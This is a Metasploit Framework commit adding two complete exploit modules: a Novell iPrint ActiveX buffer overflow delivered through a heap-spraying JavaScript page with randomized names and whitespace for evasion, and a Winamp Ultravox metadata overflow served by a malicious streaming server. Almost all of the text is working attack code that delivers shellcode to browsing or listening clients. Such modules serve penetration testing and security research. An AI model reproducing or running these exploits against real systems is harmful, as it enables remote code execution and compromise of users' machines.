added exploit modules winamp_ultravox.rb and

novelliprint_executerequest.rb.


git-svn-id: file:///home/svn/framework3/trunk@5423 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2008-03-01 17:20:24 +00:00
parent 845af72226
commit 3e81678f93
2 changed files with 288 additions and 0 deletions

View File

@ -0,0 +1,130 @@
##
## $Id: novelliprint_executerequest.rb 4953 2007-05-21 20:51:13Z hdm $
###
###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/projects/Framework/
###
require 'msf/core'
module Msf
class Exploits::Windows::Browser::NovelliPrint_ExecuteRequest < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Novell iPrint Client 4.26. When
sending an overly long string to the ExecuteRequest() property of ienipp.ocx
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '27939' ],
[ 'CVE', '2008-0935' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Feb 22 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = ""
for (#{var_i} = 0; #{var_i} < 8500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.ExecuteRequest(#{rand8}, #{vname});
</script>
</html>
|
# Randomize the whitespace in the document
content.gsub!(/\s+/) do |s|
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
end

View File

@ -0,0 +1,158 @@
##
# $Id: winamp_ultravox.rb 4419 2007-02-18 00:10:39Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
module Msf
class Exploits::Windows::Browser::Winamp_Ultravox < Exploit::Remote
include Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Winamp 5.24. By
sending an overly long artist tag, a remote attacker may
be able to execute arbitrary code. This vulnerability can be
exploited from the browser or the winamp client itself.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '27344' ],
[ 'CVE', '2008-0065' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jan 18 2008',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
res = client.get_once
content = "\x00\x01\x00\x01\x00\x01" + "<metadata><song><artist>"
content << make_nops(3828 - payload.encoded.length) + payload.encoded
content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183)
content << "</artist></song></metadata>"
sploit = "\x5a\x00\x39\x01" + [content.length].pack('n')
sploit << content + "\x00"
# randomize some stuff.
num = rand(65535).to_s
header = "HTTP/1.0 200 OK\r\n"
header << "Server: Ultravox 3.0\r\n"
header << "Content-Type: misc/ultravox\r\n"
header << "Ultravox-SID: #{num}\r\n"
header << "Ultravox-Avg-Bitrate: #{num}\r\n"
header << "Ultravox-Max-Bitrate: #{num}\r\n"
header << "Ultravox-Max-Msg: #{num}\r\n"
header << "Ultravox-Stream-Info: Ultravox;Live Stream\r\n"
header << "Ultravox-Msg-Que: #{num}\r\n"
header << "Ultravox-Max-Fragments: 1\r\n\r\n"
header << sploit
print_status("Sending #{header.length} bytes to #{client.peerhost}:#{client.peerport}...")
client.put(header)
handler(client)
service.close_client(client)
end
end
end
=begin
HTTP/1.0 200
.Server: Ultravo
x 3.0..Content-T
ype: misc/ultrav
ox..Ultravox-SID
: 22221..Ultravo
x-Avg-Bitrate: 6
4000..Ultravox-M
ax-Bitrate: 9600
0..Ultravox-Max-
Msg: 16000..Ultr
avox-Stream-Info
: Ultravox;Live
Stream..Ultravox
-Msg-Que: 39..Ul
travox-Max-Fragm
Z.9..,......<met
adata><length>0<
/length><soon>Mo
re on
</soon><song><na
me>The Night
ghts In
tin</name><album
>Days Of
Passed</album><a
rtist>The Moody
Blues</artist><a
lbum_art>xm/stat
ion_logo_WBCRHT.
jpg</album_art><
album_art_200>xm
/station_logo_WB
CRHT_200.jpg</al
bum_art_200><ser
ial>-1</serial><
song_id>-1</song
_id><amg_song_id
>-1</amg_song_id
><amg_artist_id>
-1</amg_artist_i
d><amg_album_id>
-1</amg_album_id
><itunes_song_id
>-1</itunes_song
_id><itunes_arti
st_id>-1</itunes
_artist_id><itun
es_album_id>-1</
itunes_album_id>
</song></metadat
a>.Z.......\./!.
!.UP.......B...&
Z....D)ydB.,.vy/
=end